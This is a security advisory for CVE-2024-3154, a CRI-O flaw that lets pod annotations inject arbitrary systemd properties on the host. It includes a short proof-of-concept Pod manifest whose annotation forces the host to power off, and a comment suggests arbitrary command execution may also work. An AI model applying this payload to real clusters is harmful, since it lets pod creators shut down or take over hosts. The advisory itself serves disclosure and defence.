Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS0yY2dxLWg4eHctMnY1as4AA7Z-

CRI-O vulnerable to an arbitrary systemd property injection

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube.
I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:
https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also:

• https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson
• https://github.com/opencontainers/runc/pull/4217

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

Permalink: https://github.com/advisories/GHSA-2cgq-h8xw-2v5j
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2dxLWg4eHctMnY1as4AA7Z-
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 7 months ago
Updated: 7 months ago

CVSS Score: 7.2
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-2cgq-h8xw-2v5j, CVE-2024-3154
References:

• https://github.com/cri-o/cri-o/security/advisories/GHSA-2cgq-h8xw-2v5j
• https://nvd.nist.gov/vuln/detail/CVE-2024-3154
• https://github.com/opencontainers/runc/pull/4217
• https://access.redhat.com/security/cve/CVE-2024-3154
• https://bugzilla.redhat.com/show_bug.cgi?id=2272532
• https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson
• https://github.com/advisories/GHSA-2cgq-h8xw-2v5j

Repository: https://github.com/cri-o/cri-o
Blast Radius: 12.9

Affected Packages